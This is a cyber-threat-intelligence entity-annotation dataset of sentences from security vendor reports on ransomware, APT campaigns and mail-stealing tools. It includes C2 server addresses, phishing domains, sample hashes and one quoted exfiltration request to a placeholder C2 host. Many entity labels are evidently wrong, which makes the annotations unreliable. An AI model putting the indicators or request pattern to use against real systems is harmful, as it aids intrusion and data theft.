{"id":4413,"text":"It does the following for each email found: The emails are saved with \".eml\" extensions under the Downloads directory with the filename corresponding to the subject.","entities":[],"relations":[],"Comments":[]}
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{"id":3757,"text":"It has the ability to further make HTTP requests based on commands received.","entities":[],"relations":[],"Comments":[]}
{"id":2634,"text":"While Conti was recognized as being the most prolific ransomware deployed in 2021 per our 2022 Unit 42 Ransomware Threat Report, LockBit 2.0 is the most impactful and widely deployed ransomware variant we have observed in all ransomware breaches during the first quarter of 2022, considering both leak site data and data from cases handled by Unit 42 incident responders.","entities":[{"id":45633,"label":"TIME","start_offset":77,"end_offset":81},{"id":45632,"label":"identity","start_offset":95,"end_offset":102},{"id":45635,"label":"TIME","start_offset":90,"end_offset":94},{"id":45636,"label":"malware","start_offset":129,"end_offset":140},{"id":45637,"label":"TIME","start_offset":257,"end_offset":278},{"id":45631,"label":"threat-actor","start_offset":6,"end_offset":11},{"id":45638,"label":"identity","start_offset":343,"end_offset":350}],"relations":[],"Comments":[]}
{"id":11660,"text":"      Figure 3.","entities":[],"relations":[],"Comments":[]}
{"id":9256,"text":"Critical evaluation categories include:  Analytic Coverage: Enriched detections to deliver greater context to investigation by adding ATT&CK TTP mapping, improving triage for analysts.","entities":[],"relations":[],"Comments":[]}
{"id":11543,"text":"Amnesty International has also reported on their campaigns.","entities":[],"relations":[],"Comments":[]}
{"id":672,"text":"Despite these measures, users still choose to open these files and enable their content, thus allowing macros to continue be a common attack vector \u2013 both in wide and simple attacks to deliver ransomware such as Emotet, as well as for sophisticated attacks like this Sofacy campaign.","entities":[{"id":2220,"label":"malware","start_offset":212,"end_offset":218},{"id":44819,"label":"campaign","start_offset":267,"end_offset":282},{"id":44821,"label":"threat-actor","start_offset":267,"end_offset":273}],"relations":[{"id":175,"from_id":44819,"to_id":44821,"type":"related-to"}],"Comments":[]}
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{"id":5544,"text":"So how do you know that the site you\u2019re entering card data into is safe?","entities":[],"relations":[],"Comments":[]}
{"id":6139,"text":"Eight AV vendors correctly identified it.","entities":[],"relations":[],"Comments":[]}
{"id":3109,"text":" In terms of the severity of the vulnerabilities themselves: they are important, but not critical.","entities":[],"relations":[],"Comments":[]}
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{"id":2635,"text":" According to data analysis of ransomware groups\u2019 dark web leak sites, LockBit 2.0 was the most impactful RaaS for five consecutive months.","entities":[{"id":47816,"label":"malware","start_offset":71,"end_offset":82}],"relations":[],"Comments":[]}
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{"id":1134,"text":" Though the fact that the malware writer obviously named the mutex by rolling their face on the keyboard made it obvious before we'd done any further analysis that we\u2019d found a unique identifier within the binaries.","entities":[],"relations":[],"Comments":[]}
{"id":3487,"text":"Reverse analysis of Protux\u2019s latest version also allowed us to determine how to decrypt the C&C information, which is done in the Python code shown below.","entities":[{"id":10590,"label":"malware","start_offset":20,"end_offset":26}],"relations":[],"Comments":[]}
{"id":2310,"text":"The parameter rid is a global counter which records the number of exploitation attempts.","entities":[],"relations":[],"Comments":[]}
{"id":5078,"text":"It is possible that other North Korean government-backed attackers have access to the same exploit kit.","entities":[{"id":51187,"label":"threat-actor","start_offset":26,"end_offset":66}],"relations":[],"Comments":[]}
{"id":13067,"text":"While cyberattacks that threaten smart factories cannot be ignored, it can be a struggle to decipher which security method is sufficient within your organization\u2019s specific system, as well as where to start.","entities":[],"relations":[],"Comments":[]}
{"id":599,"text":" Figure 1: Timeline of Hancitor campaign activity since January 2017.","entities":[{"id":46193,"label":"malware","start_offset":23,"end_offset":31},{"id":46194,"label":"TIME","start_offset":56,"end_offset":68}],"relations":[],"Comments":[]}
{"id":3849,"text":"The fourth version of ANEL (5.2.0 rev1) changes both the export function in the expanded main ANEL DLL and uses a different C&C server.","entities":[{"id":49698,"label":"malware","start_offset":22,"end_offset":39}],"relations":[],"Comments":[]}
{"id":2608,"text":"Credentials are harvested from dumps, purchased or spear-phished.","entities":[],"relations":[],"Comments":[]}
{"id":6101,"text":"The attacks against Palo Alto Networks customers, which took place between early June to early July, also targeted users in East Asia; in this case an international law firm\u2019s regional office and a major university.","entities":[{"id":18866,"label":"location","start_offset":143,"end_offset":147},{"id":18867,"label":"location","start_offset":151,"end_offset":164},{"id":18868,"label":"location","start_offset":165,"end_offset":168},{"id":18869,"label":"tools","start_offset":185,"end_offset":191},{"id":18870,"label":"location","start_offset":192,"end_offset":195},{"id":18871,"label":"location","start_offset":198,"end_offset":203},{"id":18872,"label":"location","start_offset":204,"end_offset":214}],"relations":[],"Comments":[]}
{"id":49,"text":"This new way to generate profit had two major advantages over account takeovers:  ","entities":[],"relations":[],"Comments":[]}
{"id":8522,"text":"The phishing typically started with a customized email introducing the company and its products.","entities":[{"id":26318,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":26319,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
{"id":5536,"text":"And they\u2019re developing new tools and tactics all the time to improve their monetization.","entities":[],"relations":[],"Comments":[]}
{"id":326,"text":"Our WildFire analysis platform has picked up 84 CryptoWall 2.0 variants since September 30, delivered primarily through e-mail attachments but also through malicious PDFs and web exploit kits.","entities":[{"id":1120,"label":"tools","start_offset":4,"end_offset":12},{"id":46018,"label":"malware","start_offset":48,"end_offset":62},{"id":46019,"label":"TIME","start_offset":78,"end_offset":90}],"relations":[],"Comments":[]}
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{"id":4292,"text":"Threat actors are notorious for creating stealthy malware that can bypass superficial network monitoring.","entities":[],"relations":[],"Comments":[]}
{"id":3545,"text":"Blackgear\u2019s campaigns also use email as an entry point, which is why it\u2019s important to secure the email gateway.","entities":[{"id":49322,"label":"threat-actor","start_offset":0,"end_offset":9},{"id":49323,"label":"attack-pattern","start_offset":27,"end_offset":54}],"relations":[{"id":783,"from_id":49322,"to_id":49323,"type":"uses"}],"Comments":[]}
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{"id":13588,"text":"The blog post describes a web shell with two components \u2014 a PHP script and an HTML uploading file \u2014 however,  the second one is not needed as the proper POST request can be created with any custom or third-party tool (e.g., Fiddler).      Figure 6.","entities":[{"id":51676,"label":"tools","start_offset":26,"end_offset":35},{"id":51677,"label":"tools","start_offset":60,"end_offset":71},{"id":51678,"label":"tools","start_offset":78,"end_offset":97}],"relations":[{"id":1130,"from_id":51676,"to_id":51677,"type":"consists-of"},{"id":1131,"from_id":51676,"to_id":51678,"type":"consists-of"}],"Comments":[]}
{"id":6510,"text":"The PowerShell backdoor has the following capabilities.","entities":[{"id":20166,"label":"attack-pattern","start_offset":4,"end_offset":14}],"relations":[],"Comments":[]}
{"id":9766,"text":"When we analyzed further, we saw that the communication methods use files named <md5(hard disk serial number)> with various extensions depending on the purpose of the file.","entities":[],"relations":[],"Comments":[]}
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{"id":9635,"text":"theme0.xml is a Mach-O 32-bit executable with a  0xFEEDFACE signature that is also the dropper of the backdoor, which is the final payload.","entities":[{"id":29505,"label":"location","start_offset":16,"end_offset":20},{"id":29506,"label":"identity","start_offset":26,"end_offset":29}],"relations":[],"Comments":[]}
{"id":9623,"text":"The attackers behind OSX_OCEANLOTUS.D target MacOS computers which have the Perl programming language installed.","entities":[{"id":29488,"label":"malware","start_offset":21,"end_offset":37},{"id":29489,"label":"location","start_offset":38,"end_offset":44},{"id":29490,"label":"location","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
{"id":13806,"text":"First, it builds the hooked function and writes the function at the end of \u201cntdll.dll\u201d.","entities":[],"relations":[],"Comments":[]}
{"id":1041,"text":"Fortunately, a number of the institutions impacted by this activity have already implemented two-factor authentication for high-value resources, reducing the risk of the latter.","entities":[],"relations":[],"Comments":[]}
{"id":7360,"text":"They attempted to evade traffic inspection by encoding the code for the scanner with base-64.","entities":[],"relations":[],"Comments":[]}
{"id":11840,"text":"As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.","entities":[],"relations":[],"Comments":[]}
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{"id":4602,"text":"Security as code allows DevOps teams to bake security into their build pipeline to release continuously and frequently, so developers like yourself, can keep working without disruption from security.","entities":[],"relations":[],"Comments":[]}
{"id":8970,"text":"The HyperBro malware family has been around since 2017 and has been extensively analyzed.","entities":[{"id":27711,"label":"malware","start_offset":4,"end_offset":12},{"id":27713,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
{"id":6154,"text":"The attack flow of Earth Wendigo\u2019s operation      Figure 2.","entities":[{"id":19040,"label":"threat-actor","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]}
{"id":5702,"text":"In addition to spear phishing emails, Earth Lusca also made use of watering hole websites \u2014 they either compromised websites of their targets or set up fake web pages copied from legitimate websites and then injected malicious JavaScript code inside them.","entities":[{"id":17588,"label":"attack-pattern","start_offset":15,"end_offset":29},{"id":17590,"label":"location","start_offset":55,"end_offset":59},{"id":17591,"label":"location","start_offset":76,"end_offset":80},{"id":17592,"label":"location","start_offset":199,"end_offset":202},{"id":17593,"label":"location","start_offset":250,"end_offset":254}],"relations":[],"Comments":[]}
{"id":1900,"text":"It is important to note however, that not all C&C websites for Urpage advertise malicious applications.","entities":[{"id":5595,"label":"threat-actor","start_offset":63,"end_offset":69}],"relations":[],"Comments":[]}
{"id":10591,"text":"The vulnerabilities underlying these exploits included: Internet Explorer - CVE-2018-8653 Internet Explorer - CVE-2019-0676 Chrome - CVE-2019-5786 Windows Kernel - CVE-2019-0808 Internet Explorer - CVE-2019-1367 Internet Explorer - CVE-2019-1429","entities":[],"relations":[],"Comments":[]}
{"id":13026,"text":"However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.","entities":[{"id":48860,"label":"campaign","start_offset":46,"end_offset":56},{"id":48861,"label":"identity","start_offset":80,"end_offset":89},{"id":48862,"label":"identity","start_offset":142,"end_offset":167},{"id":48863,"label":"location","start_offset":101,"end_offset":117}],"relations":[{"id":482,"from_id":48861,"to_id":48863,"type":"located-at"},{"id":484,"from_id":48860,"to_id":48862,"type":"targets"},{"id":483,"from_id":48860,"to_id":48861,"type":"targets"}],"Comments":[]}
{"id":13561,"text":"As previously mentioned, Water Pamola sent online shopping orders appended with a malicious XSS script to attack e-commerce administrators.","entities":[{"id":51638,"label":"campaign","start_offset":25,"end_offset":37},{"id":51639,"label":"attack-pattern","start_offset":92,"end_offset":95},{"id":51640,"label":"identity","start_offset":113,"end_offset":138}],"relations":[{"id":1119,"from_id":51638,"to_id":51640,"type":"targets"},{"id":1120,"from_id":51638,"to_id":51639,"type":"uses"}],"Comments":[]}
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{"id":5973,"text":"TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":9664,"text":"Meanwhile, runHandle is responsible for the backdoor capabilities.","entities":[],"relations":[],"Comments":[]}
{"id":14165,"text":"Trend Micro has been innovating for 30 years and our breadth of security products allows us to successfully build an XDR solution.","entities":[],"relations":[],"Comments":[]}
{"id":14042,"text":"Here is a translation of the relevant section: \u201cWell, in the end, I modified the project configuration file as below, but it doesn't seem like best practice.","entities":[],"relations":[],"Comments":[]}
{"id":3089,"text":" Comprehensive details on both of these are available at https:\/\/meltdownattack.com.","entities":[{"id":9439,"label":"URL","start_offset":57,"end_offset":83}],"relations":[],"Comments":[]}
{"id":4493,"text":"These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.","entities":[],"relations":[],"Comments":[]}
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{"id":4644,"text":"HYPERSCRAPE won't run unless in a directory with other file dependencies.","entities":[{"id":50566,"label":"malware","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
{"id":8302,"text":"The attacker runs HYPERSCRAPE on their own machine to download victims\u2019 inboxes using previously acquired credentials.","entities":[],"relations":[],"Comments":[]}
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{"id":3980,"text":"Software supply chains are an integral part of a large information and communications technology (ICT) supply chain framework.","entities":[],"relations":[],"Comments":[]}
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{"id":1891,"text":"This time, we look into Urpage to gain a deeper insight into the way several threat actors' actions intersect.","entities":[{"id":47024,"label":"threat-actor","start_offset":24,"end_offset":30}],"relations":[],"Comments":[]}
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{"id":6885,"text":"We\u2019ve also seen attackers try to trick people into downloading malware by impersonating health organizations: Generally, we\u2019re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.","entities":[{"id":21529,"label":"location","start_offset":141,"end_offset":148},{"id":21530,"label":"attack-pattern","start_offset":157,"end_offset":165},{"id":21531,"label":"identity","start_offset":211,"end_offset":215}],"relations":[],"Comments":[]}
{"id":3298,"text":"The command will list the installation directory of several popular instant messaging applications including WeChat, QQ, and Aliwangwang and return this information to the C&C server.","entities":[{"id":48384,"label":"SOFTWARE","start_offset":109,"end_offset":115},{"id":48386,"label":"SOFTWARE","start_offset":125,"end_offset":136},{"id":48385,"label":"SOFTWARE","start_offset":117,"end_offset":119}],"relations":[],"Comments":[]}
{"id":364,"text":"If you\u2019ve already deployed signatures and your logs are showing attempted exploits, consider blocking or monitoring the IP addresses sending the requests.","entities":[],"relations":[],"Comments":[]}
{"id":426,"text":" There are many kinds of coin mining software.","entities":[],"relations":[],"Comments":[]}
{"id":1649,"text":"Common sense is the best defense against these types of abusive programs.","entities":[],"relations":[],"Comments":[]}
{"id":7714,"text":"Other samples also included an Excel file attachment with malicious macros that install FlawedAmmyy, or a URL included in the email that supposedly downloads the file needed to download the malware.","entities":[{"id":23970,"label":"malware","start_offset":88,"end_offset":99}],"relations":[],"Comments":[]}
{"id":4386,"text":"Once logged in, the tool changes the account\u2019s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.","entities":[],"relations":[],"Comments":[]}
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{"id":5135,"text":"\"It's mine, I defend everything inside\" \u2026and realizing that this is actually how cybercriminals work.","entities":[],"relations":[],"Comments":[]}
{"id":2784,"text":"And while the computer is impacted like this, the attacker is earning money.","entities":[],"relations":[],"Comments":[]}
{"id":4892,"text":" Many YouTube creators provide an email address on their channel for business opportunities.","entities":[],"relations":[],"Comments":[]}
{"id":7154,"text":"New sample of Type 1 malware variant and a rootkit called Pandora found April 2020: One rootkit sample for hiding files processes, files, and services found October 2020:","entities":[{"id":22365,"label":"location","start_offset":4,"end_offset":10},{"id":22366,"label":"location","start_offset":14,"end_offset":18},{"id":22367,"label":"location","start_offset":37,"end_offset":40},{"id":22368,"label":"attack-pattern","start_offset":43,"end_offset":50},{"id":22372,"label":"attack-pattern","start_offset":88,"end_offset":95},{"id":22373,"label":"location","start_offset":96,"end_offset":102},{"id":22374,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
{"id":4234,"text":"This one is called \u201csysctrls\u201d and it looks for files with the following extensions:  ","entities":[],"relations":[],"Comments":[]}
{"id":6883,"text":"The vast majority of these messages were sent to spam without any user ever seeing them, and we were able to preemptively block the domains using Safe Browsing.","entities":[{"id":21523,"label":"tools","start_offset":4,"end_offset":8},{"id":21524,"label":"location","start_offset":71,"end_offset":75},{"id":21525,"label":"location","start_offset":83,"end_offset":87},{"id":21526,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
{"id":2614,"text":" Lapsus$ Group has made headlines recently for high-profile attacks, with an apparent goal of gaining notoriety.","entities":[{"id":47794,"label":"threat-actor","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
{"id":336,"text":" All of the domains currently resolve to 151.248.115.146, a Russian IP address and have WhoIs records associated with the e-mail address \u201cladomfichisi1987@mail.ru\u201d.","entities":[{"id":1156,"label":"IPV4","start_offset":41,"end_offset":56},{"id":46025,"label":"location","start_offset":60,"end_offset":67},{"id":44703,"label":"EMAIL","start_offset":138,"end_offset":162}],"relations":[{"id":148,"from_id":1156,"to_id":44703,"type":"related-to"}],"Comments":[]}
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{"id":437,"text":"And, as noted before, this happens without the user\u2019s knowledge or consent.","entities":[],"relations":[],"Comments":[]}
{"id":900,"text":" The malware proceeds to generate a unique key that will be used in subsequent file encryption using the following data:  This data is concatenated to form a string similar to the following:  Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":8060,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/  Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf  ","entities":[{"id":25012,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":25013,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":25014,"label":"location","start_offset":31,"end_offset":39},{"id":25015,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":25016,"label":"URL","start_offset":229,"end_offset":255},{"id":25017,"label":"location","start_offset":256,"end_offset":260},{"id":25018,"label":"URL","start_offset":292,"end_offset":318},{"id":25019,"label":"location","start_offset":319,"end_offset":323},{"id":25020,"label":"URL","start_offset":340,"end_offset":366},{"id":25021,"label":"location","start_offset":367,"end_offset":371},{"id":25022,"label":"malware","start_offset":410,"end_offset":417},{"id":25023,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]}
{"id":3327,"text":"This plug-in can inject malicious scripts into the response of the victim\u2019s web server by leveraging the WinDivert package, which is used to sniff and manipulate the network traffic on Windows.","entities":[{"id":48408,"label":"SOFTWARE","start_offset":105,"end_offset":114},{"id":48409,"label":"SOFTWARE","start_offset":185,"end_offset":192}],"relations":[],"Comments":[]}
{"id":7835,"text":"Today, Palo Alto Networks researcher Claud Xiao is delivering a presentation titled \u201cInsecure Internal Storage in Android\u201d at the Hacks in Taiwan Conference (HITCON).  Claud is discussing techniques for accessing private data in Android\u2019s internal storage system using the Android Debug Bridge (ADB) backup\/restore functionality.","entities":[],"relations":[],"Comments":[]}
{"id":2592,"text":"Additional Resources","entities":[],"relations":[],"Comments":[]}
{"id":13170,"text":"  Figure 3.","entities":[],"relations":[],"Comments":[]}
{"id":5909,"text":"So, take care, have a great day.","entities":[],"relations":[],"Comments":[]}
{"id":2441,"text":"Unit 42 first observed scanning traffic early on March 30, 2022 with HTTP requests to servers that included the test strings within the URL.","entities":[{"id":47510,"label":"identity","start_offset":0,"end_offset":7},{"id":47511,"label":"TIME","start_offset":49,"end_offset":63}],"relations":[],"Comments":[]}
{"id":5115,"text":"That's not how it works at all.","entities":[],"relations":[],"Comments":[]}
{"id":12219,"text":"We terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
{"id":9074,"text":"Trend Micro\u2122 Deep Security\u2122 provides virtual patching that protects endpoints from threats such as malicious redirections to malware-hosting URLs as well as those that exploit unpatched vulnerabilities.","entities":[],"relations":[],"Comments":[]}
{"id":11696,"text":"The lure document redirected from the phishing page that discusses Indian and Pakistani political map issues      Figure 10","entities":[{"id":36041,"label":"location","start_offset":4,"end_offset":8},{"id":36042,"label":"attack-pattern","start_offset":38,"end_offset":46},{"id":36043,"label":"location","start_offset":47,"end_offset":51},{"id":36045,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
{"id":3674,"text":"Both groups use spear-phishing campaigns with attachments that are embedded with exploits as an entry point to the target system.","entities":[{"id":49467,"label":"attack-pattern","start_offset":16,"end_offset":40}],"relations":[],"Comments":[]}
{"id":604,"text":" But as organizations have gotten more effective at blocking malicious attachments like Hancitor, we\u2019ve seen the attackers behind Hancitor adapt to evade detection and prevention.","entities":[{"id":46198,"label":"malware","start_offset":130,"end_offset":138},{"id":46200,"label":"malware","start_offset":88,"end_offset":96}],"relations":[],"Comments":[]}
{"id":6978,"text":"In previous years, some CrimsonRAT samples were also found to be hosted on the viral91[.]xyz domain.","entities":[],"relations":[],"Comments":[]}
{"id":78,"text":"Here are three things to watch for:","entities":[],"relations":[],"Comments":[]}
{"id":13083,"text":"Articles, News, Reports","entities":[],"relations":[],"Comments":[]}
{"id":11544,"text":"The group commonly uses Google or OWA password reset lures to steal credentials from targets, often using the MailJet or SendGrid API to send phishing emails.","entities":[{"id":35375,"label":"attack-pattern","start_offset":142,"end_offset":150}],"relations":[],"Comments":[]}
{"id":5121,"text":"Not even misinformation, just storytelling that tries to make it far more dramatic than it is.","entities":[],"relations":[],"Comments":[]}
{"id":9004,"text":"Indicators of Compromise (IOCs)","entities":[],"relations":[],"Comments":[]}
{"id":7890,"text":"What a difference a year makes in the threat environment.","entities":[],"relations":[],"Comments":[]}
{"id":3290,"text":"The malware uses a number of methods to execute the shell command or script.","entities":[],"relations":[],"Comments":[]}
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{"id":4704,"text":"TAG actively monitors threat actors and the evolution of their tactics and techniques.","entities":[{"id":50592,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
{"id":251,"text":"In particular, fake donation websites mimicking popular websites can be misleading, as described earlier.","entities":[{"id":45948,"label":"attack-pattern","start_offset":38,"end_offset":64},{"id":45947,"label":"attack-pattern","start_offset":15,"end_offset":37}],"relations":[],"Comments":[]}
{"id":10838,"text":"It then creates a zip file with the name <uniqueId>.zip (note that the unique ID is not a real device ID, the malware just calculates a  custom unique ID based on the device ID value), and writes the files into the compressed file.","entities":[{"id":33061,"label":"location","start_offset":90,"end_offset":94},{"id":33062,"label":"identity","start_offset":118,"end_offset":122},{"id":33063,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]}
{"id":311,"text":"The first step is identifying them in your network.","entities":[],"relations":[],"Comments":[]}
{"id":4074,"text":"     Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":8108,"text":"After downloading the extra DEX file from the C&C server, the second-layer droppers invoke extra code to download, install, and launch the callCam app on the device.","entities":[{"id":25120,"label":"location","start_offset":124,"end_offset":127},{"id":25121,"label":"malware","start_offset":139,"end_offset":146}],"relations":[],"Comments":[]}
{"id":4486,"text":"These vendors operate with deep technical expertise to develop and operationalize exploits.","entities":[],"relations":[],"Comments":[]}
{"id":8283,"text":"This information was exceptionally useful, as it allowed us to find multiple Facebook accounts controlled by the threat actor.","entities":[],"relations":[],"Comments":[]}
{"id":11706,"text":"These two samples appear to be debug versions as they have no activities or any other component except Metasploit.","entities":[{"id":36082,"label":"malware","start_offset":103,"end_offset":113}],"relations":[],"Comments":[]}
{"id":5181,"text":"We studied six widely used DDS implementations, chosen based on executions\u2019 number of users and customers in the critical sectors globally.","entities":[],"relations":[],"Comments":[]}
{"id":11226,"text":"POST http:\/\/{C2}\/?Key={GUID}&Crc={Identifier} { \"appName\": \"Gmail Downloader\", \"targetname\": \"{Email}\", \"HostName\": \"REDACTED\", \"srcUserIP\": \"REDACTED\", \"actionType\": \"First\", \"timeOccurrence\": \"05\/01\/2022 05:50:31 PM\", \"OS\": \"REDACTED\", \"OSVersion\": \"REDACTED\", \"SystemModel\": \"REDACTED\", \"SystemType\": \"REDACTED\", \"srcName\": \"REDACTED\", \"srcOrgName\": \"REDACTED\" }","entities":[{"id":34327,"label":"location","start_offset":0,"end_offset":4},{"id":34328,"label":"URL","start_offset":5,"end_offset":44},{"id":34330,"label":"TIME","start_offset":206,"end_offset":217}],"relations":[],"Comments":[]}
{"id":12648,"text":"Txt","entities":[],"relations":[],"Comments":[]}
{"id":3643,"text":"But those out there who are in positions that might make them a high value target do need to be concerned about this.","entities":[],"relations":[],"Comments":[]}
{"id":14228,"text":"Figure 5: GitHub account hosting an HTML page used for C&C communication","entities":[{"id":48414,"label":"SOFTWARE","start_offset":10,"end_offset":17}],"relations":[],"Comments":[]}
{"id":2948,"text":" Meanwhile, see our full research blog for full details on how attackers are distributing and using XMRig to generate Monero.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":48104,"label":"tools","start_offset":100,"end_offset":105}],"relations":[],"Comments":[]}
{"id":3891,"text":"Organizations must also identify which systems were affected and immediately isolate them and triage the impacted systems for restorations and recovery.","entities":[],"relations":[],"Comments":[]}
{"id":1212,"text":"After an SMS is received, these receivers and observers will check the originating number and\/or message body, and block the SMS by some policies (Figure 3 and Figure 4).","entities":[],"relations":[],"Comments":[]}
{"id":5123,"text":"We know this time and time again\u2014yes a bunch of nation-state stuff does happen but the vast majority of you are unaffected by it same with there's a massive amount of script-kiddie just sort of scanning random people with random tools that are just seeing what they can get away with that and if you have solid, automated defenses that doesn't really impact you.","entities":[],"relations":[],"Comments":[]}
{"id":6204,"text":"     Figure 8.","entities":[],"relations":[],"Comments":[]}
{"id":11940,"text":"We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
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{"id":600,"text":" The attackers behind Hancitor aren\u2019t the first to time their spam attacks like this, but it is an effective tactic to try and increase their chances of success, especially when combined with the other innovation that we\u2019ve seen.","entities":[{"id":44791,"label":"malware","start_offset":22,"end_offset":30},{"id":44792,"label":"attack-pattern","start_offset":62,"end_offset":74}],"relations":[{"id":23,"from_id":44791,"to_id":44792,"type":"uses"}],"Comments":[]}
{"id":7165,"text":"We updated it again at 4:30 PM to add a link to IssueMakersLab's website and to add new IoC information.","entities":[{"id":22409,"label":"TIME","start_offset":23,"end_offset":30},{"id":22411,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
{"id":6399,"text":"Coincidentally, recent attempts to browse the textile manufacturer\u2019s website result in a 500 internal server error message.","entities":[],"relations":[],"Comments":[]}
{"id":14174,"text":"The Director of National Intelligence Avril Haines said \u201cNevertheless, our analysts assess that Putin is unlikely to be deterred by such setbacks and instead may escalate, essentially doubling down.\u201d","entities":[{"id":48219,"label":"identity","start_offset":4,"end_offset":50},{"id":48220,"label":"identity","start_offset":96,"end_offset":102}],"relations":[],"Comments":[]}
{"id":3840,"text":"This initial version of ANEL had a hardcoded version labeled \u201c5.0.0 beta1\u201d that contained incomplete code.","entities":[{"id":11641,"label":"malware","start_offset":24,"end_offset":28}],"relations":[],"Comments":[]}
{"id":1467,"text":" Table 1  If one app is signed using the publicly known private keys, it is easy for other apps on the same device to replace this vulnerable app with another APK file, silently with no user knowledge or interaction.","entities":[],"relations":[],"Comments":[]}
{"id":14143,"text":"This is somewhat surprising, considering Operation Earth Kitsune\u2019s espionage tools were entirely fresh-developed.","entities":[{"id":48206,"label":"campaign","start_offset":41,"end_offset":66}],"relations":[],"Comments":[]}
{"id":14135,"text":"Mattermost server activity.","entities":[{"id":48197,"label":"Infrastucture","start_offset":0,"end_offset":17}],"relations":[],"Comments":[]}
{"id":1039,"text":"Through the types of accounts advertised on Taobao, an attacker can steal a student or staff account, assume their identity, and gain unauthorized access to standard university resources.","entities":[{"id":46531,"label":"SOFTWARE","start_offset":43,"end_offset":50}],"relations":[],"Comments":[]}
{"id":5307,"text":"The OpenSSL library is then initialized, and the core component proceeds to initialize the hard-coded modules.","entities":[{"id":51360,"label":"SOFTWARE","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]}
{"id":1557,"text":" Additionally, this attack technique is not exclusive to the Sofacy Group.","entities":[{"id":45056,"label":"threat-actor","start_offset":61,"end_offset":73}],"relations":[],"Comments":[]}
{"id":14109,"text":"While malware authors can fake this, useful information can still be gleaned with enough samples.","entities":[],"relations":[],"Comments":[]}
{"id":6508,"text":"Decoding this script reveals that it contains a backdoor:","entities":[],"relations":[],"Comments":[]}
{"id":1316,"text":"  Upon execution, the malware will install itself as a service with the following parameters:  It may also set the following registry key for persistence:","entities":[],"relations":[],"Comments":[]}
{"id":14294,"text":"This happens when the data is uploaded with the hidden iframe found in the bottom right part of the page (underlined in red).","entities":[],"relations":[],"Comments":[]}
{"id":8301,"text":"In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.","entities":[{"id":25593,"label":"threat-actor","start_offset":41,"end_offset":56},{"id":25594,"label":"location","start_offset":57,"end_offset":61},{"id":25598,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
{"id":13157,"text":"The group then targets potentially unsecured related organizations that could serve as jumping-off points for attacks.","entities":[],"relations":[],"Comments":[]}
{"id":9400,"text":"Indicators of Compromise (IoCs)  SHA-256 Package name Label 0c4b08bec1251b1ebc715a7ef1a712cdcb4d37ce0093d88f7fa73b0e05bf7b0e com.sas.gplayservices.accesibility GSERVICES 38acf26161a2c6429ee40d9b70d8419a9bd00eaa8740d221f943cea3229372dd com.sas.gservices.accesibility GSERVICES 3bf85d0aff5ddc0c57e43b879631ee692d98d01f5c964336471f1cdfe0d291f8 com.example.rat rat 7cb0eb93de496e2141b6e0541465ca71a84063867381085692885c75aa59cb1b com.pdf.searcher.dd Pdf Searcher 8ad18bd8f5d2f1fd9e00211170e8a540ddf7f51618588fab31b4ddd2b34b75e1 com.pdfd.researcher.resaq_ver1 Caller c8e1a702a27309c22728792c64aad4abc14ec2bfad1b30a4f27b8ebc6bcc68ff com.sas.gservices.accesibility GSERVICES   C&C servers  3.95.71.123:3000  18.206.105.66:3000  40.114.109.69:3000  52.21.5.241:2000  Phishing domain  http:\/\/gooogle[.]press\/    MITRE ATT&CK Techniques  Tactic Technique ID Description Initial Access Masquerade as Legitimate Application T1444 Used to masquerade as a legitimate chat app Persistence Abuse Device Administrator Access to Prevent Removal 